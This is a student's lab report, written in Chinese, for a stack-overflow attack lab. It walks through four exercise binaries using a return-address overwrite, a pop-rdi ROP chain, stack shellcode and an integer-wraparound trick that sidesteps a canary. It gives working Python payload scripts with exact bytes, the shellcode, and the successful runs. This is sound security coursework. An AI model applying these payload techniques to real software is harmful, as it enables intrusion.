

栈溢出攻击实验报告

题目解决思路

Problem 1:

- 分析:

1. 汇编逻辑分析: 汇编代码中注意到 `func` 函数 (0x401232), 它申请了 0x20 字节的栈空间, 然后调用了 `strcpy` 将用户输入复制到栈上。指令: `lea -0x8(%rbp), %rax` 说明目标缓冲区的起始地址位于 `rbp-0x8`。

2. 攻击方式:

由于调用了 `strcpy` 将用户输入复制到栈上, 我们可以输入超过 8 字节的数据, 填充字符直到覆盖到 Return Address, 然后将其修改为函数 `func1` 的地址 (0x401216)。

- 解决方案:

```
payload1 = b"A" * 16 + b"\x16\x12\x40\x00\x00\x00\x00\x00"
with open("ans1.txt", "wb") as f:
    f.write(payload1)
print("Payload written to ans1.txt")
```

- 结果:

```
● (base) luo_yifan@Luoyifan:~/attack-lab-fan289$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

Problem 2:

- 分析:

1. 汇编逻辑分析: `func` (0x401290), 使用了 `memcpy`, 而目标函数是 `func2` (0x401216) 但在 `func2` 开头有指令: `cmp1 $0x3f8, -0x4(%rbp)`, 它会检查第一个参数 (`%edi`) 是否等于 `0x3f8` (1016)

单纯跳转到 `func2` 会因为参数校验失败而退出, 我们需要控制 `%rdi` 寄存器 (x86-64 的第一个参数寄存器)

我们在 `0x4012bb` 处发现了 `pop_rdi` 函数, 其核心指令是 `5f c3` (`pop %rdi; ret`), 地址为 `0x4012c7`。

2. 攻击输入:

- Padding: 16 字节 (到达 Return Address)。
- `0x4012c7` (执行 `pop rdi`, 从栈顶取值放入寄存器)。
- `0x3f8` (即 1016, 作为参数被 pop 进去)。
- RA: `0x401216` (跳转到 `func2`, 此时寄存器已满足条件)。

- 解决方案:

```

payload2 = b"A"*16 + b"\xc7\x12\x40\x00\x00\x00\x00\x00" +
b"\xf8\x03\x00\x00\x00\x00\x00\x00" + b"\x16\x12\x40\x00\x00\x00\x00\x00"
with open("ans2.txt", "wb") as f:
    f.write(payload2)
print("Payload written to ans2.txt")

```

- 结果:

```

● (base) luo_yifan@Luoyifan:~/attack-lab-fan289$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!

```

Problem 3:

- 分析:

1. 汇编逻辑分析: 目标函数 `func1` 要求 `%rdi` 等于 `0x72` (114)。

题目提供了一个特殊的辅助函数 `jmp_xs` (`0x401334`)，它的汇编逻辑是读取全局变量 `saved_rsp`，加上偏移量后跳转。经过计算，它会直接跳转回我们栈缓冲区的起始位置 (`rbp-0x20`)。

2. 攻击方式: 这是一道允许在栈上执行代码的题目。我们需要编写一段机器码 (Shellcode)，其功能是“赋值 `%rdi` 并调用 `func1`”，将这段代码放在缓冲区里，然后把返回地址覆盖为 `jmp_xs`。

3. 目标汇编代码:

```

push $0x72      ; 将 114 入栈
pop %rdi       ; 弹入 rdi
push $0x401216  ; 将 func1 地址入栈
ret            ; 相当于 jump 0x401216

```

对应的机器码: `6a 72 5f 68 16 12 40 00 c3` (共 9 字节)。

4. 攻击输入:

- 缓冲区位置: `rbp-0x20` (32 字节)。
- 覆盖目标: Return Address (在 $32 + 8 = 40$ 字节之后)。
- Payload 结构: `shellcode (9B)` + `Padding (31B)` + `jmp_xs 地址`。

• 解决方案:

```

payload3 = b"\x6a\x72\x5f\x68\x16\x12\x40\x00\xc3" + b"A"*31 +
b"\x34\x13\x40\x00\x00\x00\x00\x00"
with open("ans3.txt", "wb") as f:
    f.write(payload3)
print("Payload written to ans3.txt")

```

- 结果:

```
● (base) luo_yifan@Luoyifan:~/attack-lab-fan289$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4:

- 分析:

1. 保护机制分析 (Canary):

反汇编 `func` 函数显示: `mov %fs:0x28, %rax` (读取 Canary) ... `call __stack_chk_fail` (检查 Canary)。

这是一种栈保护机制: 在返回地址之前插入一个随机值, 函数返回前检查该值是否被修改。因此, 传统的缓冲区溢出 (覆盖返回地址) 会导致程序报错退出, 攻击无效。

2. 汇编逻辑漏洞分析:

- `13df`: 检查 `rbp-0xc` 是否等于 `-1` (`0xffffffff`)。

- `13d9`: 检查 `rbp-0x18` 是否等于 `1`。

如果满足, 则调用目标函数。

代码中有一个循环: `subl $0x1, -0x18(%rbp)`。

3. 攻击方式 (整数溢出):

`rbp-0xc` 和 `rbp-0x18` 初始值都是用户输入的数字。如果我们输入 `-1`:

- 条件 B (`rbp-0xc == -1`) 满足。
- `rbp-0x18` 计算过程: `(-1) - (MAX_UINT)`。由于整数溢出 (Underflow/Wraparound), 结果恰好等于 `1`。
- 条件 A (`rbp-0x18 == 1`) 满足。

- 解决方案:

```
-1
```

- 结果:

```
● (base) luo_yifan@Luoyifan:~/attack-lab-fan289$ ./problem4
hi please tell me what is your name?
luo_yifan
hi! do you like ics?
gouzhujiào
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

无，太累了不想总结了

参考资料

- ppt
- 教材